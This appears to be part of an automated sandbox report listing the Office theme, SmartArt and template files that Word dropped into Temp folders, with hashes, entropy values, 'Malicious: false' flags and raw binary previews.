Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDEBFD.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	254
Entropy (8bit):	3.4721586910685547
Encrypted:	false
SSDEEP:	6:fxnxUX9+RclTloE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyteUTloGHmD0+dAH/luWvv
MD5:	4DD225E2A305B50AF39084CE568B8110
SHA1:	C85173D49FC1522121AA2B0B2E98ADF4BB95B897
SHA-256:	6F00DD73F169C73D425CB9895DAC12387E21C6E4C9C7DDCFB03AC32552E577F4
SHA-512:	0493AB431004191381FF84AD7CC46BD09A1E0FEEC16B3183089AA8C20CC7E491FAE86FE0668A9AC677F435A203E494F5E6E9E4A0571962F6021D6156B288B28A
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .c.h.e.v.r.o.n.a.c.c.e.n.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDEBFD.tmp\chevronaccent.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4243
Entropy (8bit):	7.824383764848892
Encrypted:	false
SSDEEP:	96:22MQe4zHye8/djzF+JjvtmMkkBpF7e0LTkaf:22De4zHHCvF+nRBDXoaf
MD5:	7BC0A35807CD69C37A949BBD51880FF5
SHA1:	B5870846F44CAD890C6EFF2F272A037DA016F0D8
SHA-256:	BD3A013F50EBF162AAC4CED11928101554C511BD40C2488CF9F5842A375B50CA
SHA-512:	B5B785D693216E38B5AB3F401F414CADACCDCB0DCA4318D88FE1763CD3BAB8B7670F010765296613E8D3363E47092B89357B4F1E3242F156750BE86F5F7E9B8D
Malicious:	false
Preview:	PK........NnB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........TnB;..d.....h......._rels/.rels...J.0.._%.n..)"....<.w.&.4..!...y.\|.........\|.&3.o.....S..K.T5g.U....g..n.f....T.hcf...D.V..Ft....d....c2".z.....N.s._2....7.0.V.]P.CO?...`...8....4&......_i..Y.T...Z...g....{-...]..pH..@.8....}tP.)..B>..A...S&......9..@...7........b_.PK........r};5.z..............diagrams/layout1.xml.X.n.8.}.........4.+.(...@......(..J..._.!)..b..v.}.H..zf8...dhM....E..I.H..V.Y.R..2zw5L~....^..]...J_..4.\.\......8..z..2T..".X.l.F#......5....,....c....r.kR.I.E..,.2...&%..''.qF.R.2.....T;F...W.. ...3...AR.OR.O..J}.w6..<...,.x..x....`g?.t.I.{.I...\|X..g.....<BR..^...Q.6..m.kp...ZuX.?.z.YO.g...$.......'.]..I.#...]$/~`${.

C:\Users\user\AppData\Local\Temp\TCDEC0E.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	252
Entropy (8bit):	3.48087342759872
Encrypted:	false
SSDEEP:	6:fxnxUXXt1MIae2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyfMIaRGHmD0+dAH/luWvv
MD5:	69757AF3677EA8D80A2FBE44DEE7B9E4
SHA1:	26AF5881B48F0CB81F194D1D96E3658F8763467C
SHA-256:	0F14CA656CDD95CAB385F9B722580DDE2F46F8622E17A63F4534072D86DF97C3
SHA-512:	BDA862300BAFC407D662872F0BFB5A7F2F72FE1B7341C1439A22A70098FA50C81D450144E757087778396496777410ADCE4B11B655455BEDC3D128B80CFB472A
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.i.c.t.u.r.e.F.r.a.m.e...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDEC0E.tmp\PictureFrame.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	4326
Entropy (8bit):	7.821066198539098
Encrypted:	false
SSDEEP:	96:+fF+Jrp7Yo5hnJiGa24TxEcpUeONo1w2NFocy2LQi33Z:2+f7YuhJdJ4TxEcmKwGkk3Z
MD5:	D32E93F7782B21785424AE2BEA62B387
SHA1:	1D5589155C319E28383BC01ED722D4C2A05EF593
SHA-256:	2DC7E71759D84EF8BB23F11981E2C2044626FEA659383E4B9922FE5891F5F478
SHA-512:	5B07D6764A6616A7EF25B81AB4BD4601ECEC1078727BFEAB4A780032AD31B1B26C7A2306E0DBB5B39FC6E03A3FC18AD67C170EA9790E82D8A6CEAB8E7F564447
Malicious:	false
Preview:	PK.........n.A...#............docProps/thumbnail.jpgz.........{4.i....1.n.v)..#.\....A+..Q(."..D.......#Q)...SQ....2c.ei.JC...N.{......}.s.s..y>....d.(:.;.....q........$.OBaPbI..(.V...o.....'..b..edE.J.+.....".tq..dqX.......8...CA.@..........0.G.O.$Ph...%i.Q.CQ.>.%!j..F..."?@.1J.Lm$..`..oO...}..6......(%....^CO..p......-,.....w8..t.k.#....d..'...O...8....s1....z.r...rr...,(.)....]Q]S.{X.SC{GgWw..O....X./FF9._&..L.....[z..^......C...qI.f... .Hq....d*.d..9.N{{.N.6..6)..n<...iU]3.._.....%./.?......(H4<.....}..%..Z..s...C@.d>.v...e.'WGW.....J..:....`....n..6.....]W~/.JX.Qf..^...}...._Sg.-.p..a..C_:..F..E.....k.H..........-Bl$._5...B.w2e...2...c2/y3.U...7.8[.S}H..r/..^...g...\|...l..\M..8p$]..poX-/.2}..}z\.\|.d<T.....1....2...{P...+Y...T...!............p..c.....D..o..%.d.f.~.;.;=4.J..]1"("`......d.0.....L.f0.l..r8..M....m,.p..Y.f....\2.q. ...d9q....P...K..o!..#o...=.........{.p..l.n...........&..o...!J..\|)..q4.Z.b..PP....U.K..\|.i.$v

C:\Users\user\AppData\Local\Temp\TCDED0A.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.438490642908344
Encrypted:	false
SSDEEP:	6:fxnxUXZlaWimoa2nRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxnyplagN2RGHmD0wbnKYZAH+Vwv
MD5:	0F98498818DC28E82597356E2650773C
SHA1:	1995660972A978D17BC483FCB5EE6D15E7058046
SHA-256:	4587CA0B2A60728FF0A5B8E87D35BF6C6FDF396747E13436EC856612AC1C6288
SHA-512:	768562F20CFE15001902CCE23D712C7439721ECA6E48DDDCF8BFF4E7F12A3BC60B99C274CBADD0128EEA1231DB19808BAA878E825497F3860C381914C21B46FF
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .E.l.e.m.e.n.t. .d.e.s.i.g.n. .s.e.t...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCDED0A.tmp\Element design set.dotx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	34415
Entropy (8bit):	7.352974342178997
Encrypted:	false
SSDEEP:	768:ev13NPo9o5NGEVIi3kvH+3SMdk7zp3tE2:ev13xoOE+R3BkR7
MD5:	7CDFFC23FB85AD5737452762FA36AAA0
SHA1:	CFBC97247959B3142AFD7B6858AD37B18AFB3237
SHA-256:	68A8FBFBEE4C903E17C9421082E839144C205C559AFE61338CBDB3AF79F0D270
SHA-512:	A0685FD251208B772436E9745DA2AA52BC26E275537688E3AB44589372D876C9ACE14B21F16EC4053C50EB4C8E11787E9B9D922E37249D2795C5B7986497033E
Malicious:	false
Preview:	PK.........Y5B#.W ............[Content_Types].xml ...(...................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG=.HK...........&o[B....z.7.o...&.......[.oL_7cuN..&e..ccAo...YW......8...Y>.&DVy...-&....Y.....4.u.., !po....9W....g..F...+1....d,'...L.M[-~.Ey. ......[

C:\Users\user\AppData\Local\Temp\TCDEF3F.tmp\View.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	486596
Entropy (8bit):	7.668294441507828
Encrypted:	false
SSDEEP:	6144:A+JBmUx0Zo24n8z/2NSYFl2qGBuv8p6+LwwYmN59wBttsdJrmXMlP1NwQoGgeL:fNgxz/g5z2BT6+Eu0ntMcczNQG5L
MD5:	0E37AECABDB3FDF8AAFEDB9C6D693D2F
SHA1:	F29254D2476DF70979F723DE38A4BF41C341AC78
SHA-256:	7AC7629142C2508B070F09788217114A70DE14ACDB9EA30CBAB0246F45082349
SHA-512:	DE6AFE015C1D41737D50ADD857300996F6E929FED49CB71BC59BB091F9DAB76574C56DEA0488B0869FE61E563B07EBB7330C8745BC1DF6305594AC9BDEA4A6BF
Malicious:	false
Preview:	PK.........V'BE,.{....#P......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Local\Temp\TCDEF3F.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	274
Entropy (8bit):	3.535303979138867
Encrypted:	false
SSDEEP:	6:Q+sxnxUX3IlVARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnynG6ymD0wbnKNAH/lMz1
MD5:	35AFE8D8724F3E19EB08274906926A0B
SHA1:	435B528AAF746428A01F375226C5A6A04099DF75
SHA-256:	97B8B2E246E4DAB15E494D2FB5F8BE3E6361A76C8B406C77902CE4DFF7AC1A35
SHA-512:	ACF4F124207974CFC46A6F4EA028A38D11B5AF40E55809E5B0F6F5DABA7F6FC994D286026FAC19A0B4E2311D5E9B16B8154F8566ED786E5EF7CDBA8128FD62AF
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .V.i.e.w...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDEFC0.tmp\Dividend.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	570901
Entropy (8bit):	7.674434888248144
Encrypted:	false
SSDEEP:	6144:D2tTXiO/3GH5SkPQVAqWnGrkFxvay910UUTWZJarUv9TA0g8:kX32H+VWgkFxSgGTmarUv9T
MD5:	D676DE8877ACEB43EF0ED570A2B30F0E
SHA1:	6C8922697105CEC7894966C9C5553BEB64744717
SHA-256:	DF012D101DE808F6CD872DFBB619B16732C23CF4ABC64149B6C3CE49E9EFDA01
SHA-512:	F40BADA680EA5CA508947290BA73901D78DE79EAA10D01EAEF975B80612D60E75662BDA542E7F71C2BBA5CA9BA46ECAFE208FD6E40C1F929BB5E407B10E89FBD
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDEFC0.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5459495297497368
Encrypted:	false
SSDEEP:	6:Q+sxnxUXvBAuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnypJymD0wbnKNAH/lMz1
MD5:	76340C3F8A0BFCEDAB48B08C57D9B559
SHA1:	E1A6672681AA6F6D525B1D17A15BF4F912C4A69B
SHA-256:	78FE546321EDB34EBFA1C06F2B6ADE375F3B7C12552AB2A04892A26E121B3ECC
SHA-512:	49099F040C099A0AED88E7F19338140A65472A0F95ED99DEB5FA87587E792A2D11081D59FD6A83B7EE68C164329806511E4F1B8D673BEC9074B4FF1C09E3435D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.i.v.i.d.e.n.d...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDEFD0.tmp\Banded.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	562113
Entropy (8bit):	7.67409707491542
Encrypted:	false
SSDEEP:	12288:/dy5Gtyp/FZ9QqjdxDfSp424XeavSktiAVE0:/dizp1ndpqpMZnV
MD5:	4A1657A3872F9A77EC257F41B8F56B3D
SHA1:	4DDEA85C649A2C1408B5B08A15DEF49BAA608A0B
SHA-256:	C17103ADE455094E17AC182AD4B4B6A8C942FD3ACB381F9A5E34E3F8B416AE60
SHA-512:	7A2932639E06D79A5CE1D3C71091890D9E329CA60251E16AE4095E4A06C6428B4F86B7FFFA097BF3EEFA064370A4D51CA3DF8C89EAFA3B1F45384759DEC72922
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDEFD0.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.535736910133401
Encrypted:	false
SSDEEP:	6:Q+sxnxUXeAlFkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyRGymD0wbnKNAH/lMz1
MD5:	487E25E610F3FC2EEA27AB54324EA8F6
SHA1:	11C2BB004C5E44503704E9FFEEFA7EA7C2A9305C
SHA-256:	022EC5077279A8E447B590F7260E1DBFF764DE5F9CDFD4FDEE32C94C66D4A1A2
SHA-512:	B8DF351E2C0EF101CF91DC02E136A3EE9C1FDB18294BECB13A29D676FBBE791A80A58A18FBDEB953BC21EC54EB7608154D401407C461ABD10ACB94CE8AD0E092
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.a.n.d.e.d...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDF001.tmp\Frame.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	523048
Entropy (8bit):	7.715248170753013
Encrypted:	false
SSDEEP:	6144:WfmDdN6Zfv8q5rnM6vZ02PtMZRkfW5ipbnMHxVcsOWrCMxy0sD/mcKb4rYEY:xDdQXBrMi2YtggW5ObnMH1brJpUmBU0N
MD5:	C276F590BB846309A5E30ADC35C502AD
SHA1:	CA6D9D6902475F0BE500B12B7204DD1864E7DD02
SHA-256:	782996D93DEBD2AF9B91E7F529767A8CE84ACCC36CD62F24EBB5117228B98F58
SHA-512:	B85165C769DFE037502E125A04CFACDA7F7CC36184B8D0A54C1F9773666FFCC43A1B13373093F97B380871571788D532DEEA352E8D418E12FD7AAD6ADB75A150
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCDF001.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5159096381406645
Encrypted:	false
SSDEEP:	6:Q+sxnxUXQIa3ARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnygIaqymD0wbnKNAH/lMz1
MD5:	71CCB69AF8DD9821F463270FB8CBB285
SHA1:	8FED3EB733A74B2A57D72961F0E4CF8BCA42C851
SHA-256:	8E63D7ABA97DABF9C20D2FAC6EB1665A5D3FDEAB5FA29E4750566424AE6E40B4
SHA-512:	E62FC5BEAEC98C5FDD010FABDAA8D69237D31CA9A1C73F168B1C3ED90B6A9B95E613DEAD50EB8A5B71A7422942F13D6B5A299EB2353542811F2EF9DA7C3A15DC
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .F.r.a.m.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDF012.tmp\Metropolitan.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	777647
Entropy (8bit):	7.689662652914981
Encrypted:	false
SSDEEP:	6144:B04bNOJMngI856k0wwOGXMaXTLaTDmfBaN2Tx9iSUk1PdSnc0lnDlcGMcEFYYYYt:xbY6ngI46Aw5dmyYYYYYYYYY7p8d
MD5:	B30D2EF0FC261AECE90B62E9C5597379
SHA1:	4893C5B9BE04ECBB19EE45FFCE33CA56C7894FE3
SHA-256:	BB170D6DE4EE8466F56C93DC26E47EE8A229B9C4842EA8DD0D9CCC71BC8E2976
SHA-512:	2E728408C20C3C23C84A1C22DB28F0943AAA960B4436F8C77570448D5BEA9B8D53D95F7562883FA4F9B282DFE2FD07251EEEFDE5481E49F99B8FEDB66AAAAB68
Malicious:	false
Preview:	PK.........V'B.._<....-.......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Local\Temp\TCDF012.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5091498509646044
Encrypted:	false
SSDEEP:	6:Q+sxnxUX1MiDuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyFdMymD0wbnKNAH/lMz1
MD5:	23D59577F4AE6C6D1527A1B8CDB9AB19
SHA1:	A345D683E54D04CC0105C4BFFCEF8C6617A0093D
SHA-256:	9ADD2C3912E01C2AC7FAD6737901E4EECBCCE6EC60F8E4D78585469A440E1E2C
SHA-512:	B85027276B888548ECB8A2FC1DB1574C26FF3FCA7AF1F29CD5074EC3642F9EC62650E7D47462837607E11DCAE879B1F83DF4762CA94667AE70CBF78F8D455346
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.e.t.r.o.p.o.l.i.t.a.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCDF044.tmp\Basis.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	558035
Entropy (8bit):	7.696653383430889
Encrypted:	false
SSDEEP:	12288:DQ/oYjRRRRRRRRYcdY/5ASWYqBMp8xsGGEOzI7vQQwOyP:DQ/nRRRRRRRRxY/5JWYZ3GGbI8YA
MD5:	3B5E44DDC6AE612E0346C58C2A5390E3
SHA1:	23BCF3FCB61F80C91D2CFFD8221394B1CB359C87
SHA-256:	9ED9AD4EB45E664800A4876101CBEE65C232EF478B6DE502A330D7C89C9AE8E2
SHA-512:	2E63419F272C6E411CA81945E85E08A6E3230A2F601C4D28D6312DB5C31321F94FAFA768B16BC377AE37B154C6869CA387005693A79C5AB1AC45ED73BCCC6479
Malicious:	false
